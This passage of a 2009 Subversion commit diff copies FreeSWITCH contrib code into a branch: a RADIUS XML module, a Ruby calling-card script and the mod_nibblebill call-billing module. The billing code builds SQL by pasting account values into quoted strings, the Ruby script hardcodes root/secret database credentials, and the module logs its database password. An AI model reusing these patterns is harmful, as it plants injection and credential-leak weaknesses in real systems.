+	rc_avpair_free(received);
+
+	/* End of RADIUS bits */
+
+	if (debug == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Debug dump of XML generated:\n%s", switch_xml_toxml(xml_out, SWITCH_FALSE));
+	}
+
+	ret = 0;
+
+  cleanup:
+
+	switch_event_destroy(&rad_event);
+	switch_thread_rwlock_unlock(globals.rwlock);
+
+	if (ret) {
+		switch_xml_free(xml_out);
+		return NULL;
+	}
+	
+	return xml_out;
+}
+
+
+static switch_status_t load_config(void)
+{
+    switch_xml_t cfg, xml, bindings_tag, binding_tag, templates_tag, settings, param;
+    xml_binding_t *binding = NULL;
+
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+    int num_servers = 0;
+    int i = 0;
+
+    my_timeout = "5";
+    my_retries = "3";
+    my_deadtime = "0";
+    strncpy(my_seqfile, "/var/run/radius_auth.seq", PATH_MAX - 1);
+    strncpy(my_dictionary, "/usr/local/freeswitch/conf/radius/dictionary", PATH_MAX - 1);
+
+    for (i = 0; i < SERVER_MAX; i++) {
+        my_servers[i][0] = '\0';
+    }
+
+    if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
+        return SWITCH_STATUS_TERM;
+    }
+
+
+    if (!(bindings_tag = switch_xml_child(cfg, "bindings"))) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing <bindings> tag!\n");
+		status = SWITCH_STATUS_TERM;
+        goto done;
+    } 
+
+    if (!(templates_tag = switch_xml_child(cfg, "templates"))) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing <templates> tag!\n");
+        status = SWITCH_STATUS_TERM;
+        goto done;
+    }
+
+	globals.templates_tag = templates_tag;
+
+	for (binding_tag = switch_xml_child(bindings_tag, "binding"); binding_tag; binding_tag = binding_tag->next) {
+        char *bname = (char*) switch_xml_attr_soft(binding_tag, "name");
+		if (!(binding = malloc(sizeof(*binding)))) {
+			goto done;
+		}
+		memset(binding, 0, sizeof(*binding));
+
+		binding->bindings = strdup(bname);
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Binding [%s] XML RADIUS Fetch Function [%s]\n",
+			switch_strlen_zero(bname) ? "N/A" : bname, binding->bindings ? binding->bindings : "all");
+		switch_xml_bind_search_function(xml_radius_search, switch_xml_parse_section_string(bname), binding);
+		binding = NULL;
+	}
+
+    if ((settings = switch_xml_child(cfg, "settings"))) {
+        for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+            char *var = (char *) switch_xml_attr_soft(param, "name");
+            char *val = (char *) switch_xml_attr_soft(param, "value");
+
+            if (!strcmp(var, "authserver")) {
+                if (num_servers < SERVER_MAX) {
+                    strncpy(my_servers[num_servers], val, 255 - 1);
+                    num_servers++;
+                } else {
+                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+                                      "you can only specify %d radius servers, ignoring excess server entry\n", SERVER_MAX);
+                }
+            } else if (!strcmp(var, "dictionary")) {
+                strncpy(my_dictionary, val, PATH_MAX - 1);
+            } else if (!strcmp(var, "seqfile")) {
+                strncpy(my_seqfile, val, PATH_MAX - 1);
+            } else if (!strcmp(var, "radius_timeout")) {
+                my_timeout = strdup(val);
+            } else if (!strcmp(var, "radius_retries")) {
+                my_retries = strdup(val);
+            } else if (!strcmp(var, "radius_deadtime")) {
+                my_deadtime = strdup(val);
+            }
+        }
+    }
+    switch_xml_free(xml);
+
+    if (num_servers < 1) {
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "you must specify at least 1 radius server\n");
+        return SWITCH_STATUS_TERM;
+    }
+
+  done:
+
+    return status;
+}
+
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_xml_radius_load)
+{
+
+    switch_core_new_memory_pool(&globals.pool);
+    switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
+
+    switch_api_interface_t *xml_radius_api_interface;
+
+    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "XML RADIUS module loading...\n");
+
+    *module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+    SWITCH_ADD_API(xml_radius_api_interface, "xml_radius", "XML RADIUS", xml_radius_function, XML_RADIUS_SYNTAX);
+    switch_console_set_complete("add xml_radius debug_on");
+    switch_console_set_complete("add xml_radius debug_off");
+    //switch_console_set_complete("add xml_odbc render_template");
+
+    switch_thread_rwlock_create(&globals.rwlock, pool);
+
+    if (load_config() != SWITCH_STATUS_SUCCESS) {
+        return SWITCH_STATUS_TERM;
+    }
+
+    /* indicate that the module should continue to be loaded */
+    return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_radius_shutdown)
+{
+
+    globals.shutdown = 1;
+    switch_thread_rwlock_wrlock(globals.rwlock);
+    switch_thread_rwlock_unlock(globals.rwlock);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+* vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Deleted: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.h

Copied: freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.h (from rev 14471, freeswitch/trunk/contrib/cparker/mod_xml_radius/mod_xml_radius.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/cparker/mod_xml_radius/mod_xml_radius.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+/*
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application Call Detail Recorder module
+ * Copyright 2006, Author: Yossi Neiman of Cartis Solutions, Inc. <freeswitch AT cartissolutions.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application Call Detail Recorder module
+ *
+ * The Initial Developer of the Original Code is
+ * Chris Parker <cparker AT segv.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Chris Parker <cparker AT segv.org>
+ *
+ * Description: Contains definitions and structs used by the radius cdr module.
+ *
+ * mod_radius_cdr.h
+ *
+ */
+
+#ifndef MODRADIUSCDR
+#define MODRADIUSCDR
+
+#define	PW_FS_PEC		27880
+
+#define PW_FS_AVPAIR		1
+#define PW_FS_CLID		2
+#define PW_FS_DIALPLAN		3
+#define PW_FS_SRC		4
+#define PW_FS_DST		5
+#define PW_FS_SRC_CHANNEL	6
+#define PW_FS_DST_CHANNEL	7
+#define PW_FS_ANI		8
+#define PW_FS_ANIII		9
+#define PW_FS_LASTAPP		10
+#define PW_FS_LASTDATA		11
+#define PW_FS_DISPOSITION	12
+#define PW_FS_HANGUPCAUSE	13
+#define PW_FS_BILLUSEC		15
+#define PW_FS_AMAFLAGS		16
+#define PW_FS_RDNIS		17
+#define PW_FS_CONTEXT		18
+#define PW_FS_SOURCE		19
+#define PW_FS_CALLSTARTDATE	20
+#define PW_FS_CALLANSWERDATE	21
+#define PW_FS_CALLTRANSFERDATE	22
+#define PW_FS_CALLENDDATE	23
+
+
+#endif

Copied: freeswitch/branches/seven/contrib/diegoviola (from rev 14471, freeswitch/trunk/contrib/diegoviola)

Copied: freeswitch/branches/seven/contrib/diegoviola/ruby (from rev 14471, freeswitch/trunk/contrib/diegoviola/ruby)

Copied: freeswitch/branches/seven/contrib/diegoviola/ruby/callcard (from rev 14471, freeswitch/trunk/contrib/diegoviola/ruby/callcard)

Deleted: freeswitch/branches/seven/contrib/diegoviola/ruby/callcard/callcard.rb

Copied: freeswitch/branches/seven/contrib/diegoviola/ruby/callcard/callcard.rb (from rev 14471, freeswitch/trunk/contrib/diegoviola/ruby/callcard/callcard.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/diegoviola/ruby/callcard/callcard.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/diegoviola/ruby/callcard/callcard.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+#!/usr/bin/env ruby
+
+require 'fsr'
+require 'fsr/listener/outbound'
+require 'activerecord'
+
+FSR.load_all_commands
+
+class Card < ActiveRecord::Base
+  ActiveRecord::Base.establish_connection(
+    :adapter  => "mysql",
+    :host     => "localhost",
+    :username => "root",
+    :password => "secret",
+    :database => "callcard"
+  )
+end
+
+class CallCard < FSR::Listener::Outbound
+  def session_initiated
+    exten = @session.headers[:caller_caller_id_number]
+    pin_wav = "/usr/local/freeswitch/sounds/en/us/callie/conference/8000/conf-pin.wav"
+    bad_pin_wav = "/usr/local/freeswitch/sounds/en/us/callie/conference/8000/conf-bad-pin.wav"
+    dial_tone = "tone_stream://%(10000,0,350,440)"
+    FSR::Log.info "*** Answering incoming call from #{exten}"
+    answer do
+      play_and_get_digits(pin_wav, bad_pin_wav, 2, 10, 3, 7000, ["#"], "pin_number", "\\d") do |pin_number|
+        @card = Card.find_by_card_number(pin_number)
+        if @card then
+          FSR::Log.info "*** Success, grabbed #{pin_number} from #{exten}"
+          play_and_get_digits(dial_tone, bad_pin_wav, 2, 10, 3, 7000, ["#"], "destination_number", "\\d") do |destination_number|
+            FSR::Log.info "*** Success, grabbed #{destination_number} from #{exten}"
+            FSR::Log.info "*** Setting up the billing variables."
+            uuid_setvar(@session.headers[:unique_id], 'nibble_rate', @card.rate)
+            uuid_setvar(@session.headers[:unique_id], 'nibble_account', @card.id)
+            FSR::Log.info "*** Bridging."
+            FSR::Log.info "*** You have #{duration} minutes to talk."
+            speak("You have #{duration} minutes to talk.")
+            #api("sched_api +#{(duration*60)-60} none uuid_displace #{@session.headers[:unique_id]} start tone_stream://%(500,0,500)")
+            #transfer("#{destination_number}", "XML", "default") { close_connection }
+            bridge("sofia/internal/#{destination_number}@0.0.0.0")
+          end
+        else
+          FSR::Log.info "*** Failure, grabbed #{pin_number} from #{exten}"
+          playback(bad_pin_wav)
+          FSR::Log.info "*** Hanging up the call."
+          hangup
+        end
+      end
+    end
+  end
+  
+  def duration
+    @duration = @card.balance.to_i / @card.rate.to_i
+    return @duration
+  end
+end
+
+FSR.start_oes! CallCard, :port => 8084, :host => "127.0.0.1"
+

Copied: freeswitch/branches/seven/contrib/dschreiber (from rev 14471, freeswitch/trunk/contrib/dschreiber)

Copied: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill (from rev 14471, freeswitch/trunk/contrib/dschreiber/mod_nibblebill)

Property changes: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/mod_nibblebill.c

Copied: freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/mod_nibblebill.c (from rev 14471, freeswitch/trunk/contrib/dschreiber/mod_nibblebill/mod_nibblebill.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/mod_nibblebill.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/dschreiber/mod_nibblebill/mod_nibblebill.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,882 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * The Initial Developer of this module is
+ * Darren Schreiber <d@d-man.org>
+ *
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * Darren Schreiber <d@d-man.org>
+ *
+ * mod_nibblebill.c - Nibble Billing
+ * Purpose is to allow real-time debiting of credit or cash from a database while calls are in progress. I had the following goals: 
+ *
+ * Debit credit/cash from accounts real-time 
+ * Allow for billing at different rates during a single call 
+ * Allow for warning callers when their balance is low (via audio, in-channel) 
+ * Allow for disconnecting or re-routing calls when balance is depleted 
+ * Allow for billing to function as listed above with multiple concurrent calls 
+ * 
+ * Thanks go to bandwidth.com for funding this work.
+ *
+ *
+ * TODO: Fix what happens when the DB is not available
+ * TODO: Fix what happens when the DB queries fail (right now, all are acting like success)
+ * TODO: Make the actions function for when funds are depleted
+ * TODO: Add buffering abilities
+ * TODO: Make error handling for database, such that when the database is down (or not installed) we just log to a text file
+ * FUTURE: Possibly make the hooks not tied per-channel, and instead just do this as a supervision style application with one thread that watches all calls
+ */
+
+#include <switch.h>
+
+
+/* Defaults */
+static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
+static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
+
+typedef struct
+{
+	switch_time_t lastts;	/* Last time we did any billing */
+	float total;	/* Total amount billed so far */
+
+	switch_time_t pausets;	/* Timestamp of when a pause action started. 0 if not paused */
+	float bill_adjustments;	/* Adjustments to make to the next billing, based on pause/resume events */
+
+} nibble_data_t;
+
+
+typedef struct nibblebill_results
+{
+	float	balance;
+
+	float	percall_max; /* Overrides global on a per-user level */
+	float	lowbal_amt;  /*  ditto */
+} nibblebill_results_t;
+
+
+/* Keep track of our config, event hooks and database connection variables, for this module only */
+static struct
+{
+	/* Memory */
+        switch_memory_pool_t *pool;
+
+	/* Event hooks */
+	switch_event_node_t *node;
+
+	/* Global mutex (don't touch a session when it's already being touched) */
+	switch_mutex_t *mutex;
+
+	/* Global billing config options */
+	float	percall_max_amt;	/* Per-call billing limit (safety check, for fraud) */
+	char	*percall_action;	/* Exceeded length of per-call action */
+	float	lowbal_amt;		/* When we warn them they are near depletion */
+	char	*lowbal_action;		/* Low balance action */
+	float	nobal_amt;		/* Minimum amount that must remain in the account */
+	char	*nobal_action;		/* Drop action */
+
+	/* Other options */
+	int	global_heartbeat;	/* Supervise and bill every X seconds, 0 means off */
+
+	/* Database settings */
+	char *db_username;
+	char *db_password;
+	char *db_dsn;
+	char *db_table;
+	char *db_column_cash;
+	char *db_column_account;
+	switch_odbc_handle_t *master_odbc;
+} globals;
+
+static void nibblebill_pause(switch_core_session_t *session);
+
+/**************************
+* Setup FreeSWITCH Macros *
+**************************/
+/* Define the module's load function */
+SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load);
+
+/* Define the module's shutdown function */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown);
+
+/* Define the module's name, load function, shutdown function and runtime function */
+SWITCH_MODULE_DEFINITION(mod_nibblebill, mod_nibblebill_load, mod_nibblebill_shutdown, NULL);
+
+/* String setting functions */
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_username, globals.db_username);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_password, globals.db_password);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_dsn, globals.db_dsn);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_table, globals.db_table);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_column_cash, globals.db_column_cash);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_db_column_account, globals.db_column_account);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_percall_action, globals.percall_action);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_lowbal_action, globals.lowbal_action);
+SWITCH_DECLARE_GLOBAL_STRING_FUNC(set_global_nobal_action, globals.nobal_action);
+
+static int nibblebill_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+	nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
+
+	cbt->balance = atof(argv[0]);
+
+	return 0;
+}
+
+static switch_status_t load_config(void)
+{
+	char *cf = "nibblebill.conf";
+	switch_xml_t cfg, xml = NULL, param, settings;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
+		status = SWITCH_STATUS_SUCCESS;  /* We don't fail because we can still write to a text file or buffer */
+		goto setdefaults;
+	}
+	
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		for (param = switch_xml_child(settings, "param"); param; param = param->next) {
+			char *var = (char *) switch_xml_attr_soft(param, "name");
+			char *val = (char *) switch_xml_attr_soft(param, "value");
+
+			if (!strcasecmp(var, "db_username")) {
+				set_global_db_username(val);
+			} else if (!strcasecmp(var, "db_password")) {
+				set_global_db_password(val);
+			} else if (!strcasecmp(var, "db_dsn")) {
+				set_global_db_dsn(val);
+			} else if (!strcasecmp(var, "db_table")) {
+				set_global_db_table(val);
+			} else if (!strcasecmp(var, "db_column_cash")) {
+				set_global_db_column_cash(val);
+			} else if (!strcasecmp(var, "db_column_account")) {
+				set_global_db_column_account(val);
+			} else if (!strcasecmp(var, "percall_action")) {
+				set_global_percall_action(val);
+			} else if (!strcasecmp(var, "percall_max_amt")) {
+				globals.percall_max_amt = atof(val);
+			} else if (!strcasecmp(var, "lowbal_action")) {
+				set_global_lowbal_action(val);
+			} else if (!strcasecmp(var, "lowbal_amt")) {
+				globals.lowbal_amt = atof(val);
+			} else if (!strcasecmp(var, "nobal_action")) {
+				set_global_nobal_action(val);
+			} else if (!strcasecmp(var, "nobal_amt")) {
+				globals.nobal_amt = atof(val);
+			} else if (!strcasecmp(var, "global_heartbeat")) {
+				globals.global_heartbeat = atoi(val);
+			}
+		}
+	}
+	
+/* Set defaults for any variables still not set */
+setdefaults:
+	if (switch_strlen_zero(globals.db_username)) {
+		set_global_db_username("bandwidth.com");
+	}
+	if (switch_strlen_zero(globals.db_password)) {
+		set_global_db_password("dev");
+	}
+	if (switch_strlen_zero(globals.db_dsn)) {
+		set_global_db_dsn("bandwidth.com");
+	}
+	if (switch_strlen_zero(globals.percall_action)) {
+		set_global_percall_action("hangup");
+	}
+	if (switch_strlen_zero(globals.lowbal_action)) {
+		set_global_lowbal_action("play ding");
+	}
+	if (switch_strlen_zero(globals.nobal_action)) {
+		set_global_nobal_action("hangup");
+	}
+
+	if (switch_odbc_available() && globals.db_dsn) {
+		if (!(globals.master_odbc = switch_odbc_handle_new(globals.db_dsn, globals.db_username, globals.db_password))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot create handle to ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database handle!\n");
+		}
+		
+		if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
+							  "Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n", 
+							  globals.db_dsn, globals.db_username, globals.db_password);
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Opened ODBC Database!\n");
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.db_dsn);
+	} else if (globals.db_dsn) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, 
+						  "ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
+	}
+
+done:
+
+	if (xml) {
+		switch_xml_free(xml);
+	}
+	return status;
+}
+
+void debug_event_handler(switch_event_t *event)
+{
+	switch_event_header_t *event_header = NULL;
+
+	 if (!event) {
+		return;
+	}
+
+	/* Print out all event headers, for fun */
+	if (event->headers) {
+		for (event_header = event->headers; event_header; event_header = event_header->next) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Header info: %s => %s\n", event_header->name, event_header->value);
+		}
+	}
+}
+
+
+static void transfer_call(switch_core_session_t *session, char *destination)
+{
+	char *argv[4] = { 0 };
+
+	switch_separate_string(destination, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+
+	const char *uuid;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	/* Find the uuid of our B leg. If it exists, transfer it first */
+	if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+		/* Make sure we are in the media path on B leg */
+		switch_ivr_media(uuid, SMF_REBRIDGE);
+
+		/* Get info on the B leg */
+		switch_core_session_t *b_session;
+		if ((b_session = switch_core_session_locate(uuid))) {
+			/* Transfer the B leg */
+			switch_ivr_session_transfer(b_session, argv[0], argv[1], argv[2]);
+			switch_core_session_rwunlock(b_session);
+		}
+	}
+
+	/* Make sure we are in the media path on A leg */
+	uuid = switch_core_session_get_uuid(session);
+	switch_ivr_media(uuid, SMF_REBRIDGE);
+
+	/* Transfer the A leg */
+	switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+}
+
+
+/* At this time, billing never succeeds if you don't have a database. */
+static switch_status_t bill_event(float billamount, const char *billaccount)
+{
+	char sql[1024] = "";
+	switch_odbc_statement_handle_t stmt;
+
+	if (!switch_odbc_available()) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  "Doing update query\n[%s]\n", sql);
+	
+	if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt) != SWITCH_ODBC_SUCCESS) {
+		char *err_str;
+		err_str = switch_odbc_handle_get_error(globals.master_odbc, stmt);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ERR: [%s]\n[%s]\n", sql, switch_str_nil(err_str));
+		switch_safe_free(err_str);
+	} else {
+		/* TODO: Failover to a flat/text file if DB is unavailable */
+		
+		return SWITCH_STATUS_SUCCESS;
+	}
+	switch_odbc_statement_handle_free(&stmt);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+static float get_balance(const char *billaccount)
+{
+	char sql[1024] = "";
+	nibblebill_results_t pdata;
+	float balance = 0.00;
+
+	if (!switch_odbc_avaliable()) {
+		return -1.0f;
+	}
+	
+	memset(&pdata, 0, sizeof(pdata));
+	snprintf(sql, 1024, SQL_LOOKUP, globals.db_column_cash, globals.db_table, globals.db_column_account, billaccount);
+
+	if (switch_odbc_handle_callback_exec(globals.master_odbc, sql, nibblebill_callback, &pdata) != SWITCH_ODBC_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error running this query: [%s]\n", sql);
+		/* TODO: Return -1 for safety */
+
+		return -1.00f;
+	} else {
+		/* Successfully retrieved! */
+		balance = pdata.balance;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,  "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
+	}
+
+	return balance;
+}
+
+
+
+/* This is where we actually charge the guy 
+  This can be called anytime a call is in progress or at the end of a call before the session is destroyed */
+static switch_status_t do_billing(switch_core_session_t *session)
+{
+	/* FS vars we will use */
+	switch_channel_t *channel;
+	switch_caller_profile_t *profile;
+
+	/* Local vars */
+	nibble_data_t *nibble_data;
+	switch_time_t ts = switch_micro_time_now();
+	float billamount;
+	char date[80] = "";
+	char *tmp;
+	char *uuid;
+	switch_size_t retsize;
+	switch_time_exp_t tm;
+
+
+	if (!session) {
+		/* wtf? Why are we here? */
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	uuid = switch_core_session_get_uuid(session);
+
+	/* Get channel var */
+	channel = switch_core_session_get_channel(session);
+	if (!channel) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Variables kept in FS but relevant only to this module */
+	const char *billrate = switch_channel_get_variable(channel, "nibble_rate");
+	const char *billaccount = switch_channel_get_variable(channel, "nibble_account");
+
+
+	/* Return if there's no billing information on this session */
+	if (!billrate || !billaccount) {
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
+
+	/* Get caller profile info from channel */
+	profile = switch_channel_get_caller_profile(channel);
+
+	if (!profile) {
+		/* No caller profile (why would this happen?) */
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	if (profile->times->answered < 1) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Not billing %s - call is not in answered state\n", billaccount);
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Lock this session's data for this module while we tinker with it */
+	if (globals.mutex) {
+		switch_mutex_lock(globals.mutex);
+	}
+
+	/* Get our nibble data var. This will be NULL if it's our first call here for this session */
+	nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
+
+	/* Are we in paused mode? If so, we don't do anything here - go back! */
+	if (nibble_data && (nibble_data->pausets > 0)) {
+		if (globals.mutex) {
+			switch_mutex_unlock(globals.mutex);
+		}
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received heartbeat, but we're paused - ignoring\n");
+		return SWITCH_STATUS_SUCCESS;
+	}
+
+	/* Have we done any billing on this channel yet? If no, set up vars for doing so */
+	if (!nibble_data) {
+		nibble_data = switch_core_session_alloc(session, sizeof(*nibble_data));
+		if (!nibble_data) {
+			switch_assert(nibble_data);
+		}
+		memset(nibble_data, 0, sizeof(*nibble_data));
+
+		/* Setup new billing data (based on call answer time, in case this module started late with active calls) */
+		nibble_data->lastts = profile->times->answered;		/* Set the initial answer time to match when the call was really answered */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
+	}
+
+	switch_time_exp_lt(&tm, nibble_data->lastts);
+	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
+
+
+	if ((ts - nibble_data->lastts) >= 0) {
+		/* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
+		billamount = (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
+
+		/* DO ODBC BILLING HERE and reset counters if it's successful! */
+		if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
+			/* Increment total cost */
+			nibble_data->total += billamount;
+
+			/* Reset manual billing adjustments from pausing */
+			nibble_data->bill_adjustments = 0;
+
+			/* Update channel variable with current billing */
+			tmp = switch_mprintf("%f", nibble_data->total);
+			switch_channel_set_variable(channel, "nibble_total_billed", tmp);
+			switch_safe_free(tmp);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Failed to log to database!\n");
+		}
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! wtf? That should be impossible.\n", uuid);
+	}
+
+	/* Update the last time we billed */
+	nibble_data->lastts = ts;
+
+	/* Save this location, but only if the channel/session are not hungup (otherwise, we're done) */
+	if (channel && switch_channel_get_state(channel) != CS_HANGUP) {
+		switch_channel_set_private(channel, "_nibble_data_", nibble_data);
+
+		/* See if this person has enough money left to continue the call */
+		float balance;
+		balance = get_balance(billaccount);
+		if (balance < globals.nobal_amt) {
+			/* Not enough money - reroute call to nobal location */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
+
+			/* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
+			/* in nibblebill checking the call again in the routing process for an allowed balance! */
+			/* If you intend to give the user the option to re-up their balance, you must clear & resume billing once the balance is updated! */
+			nibblebill_pause(session);
+			transfer_call(session, globals.nobal_action);
+		}
+	}
+
+	/* Done changing - release lock */
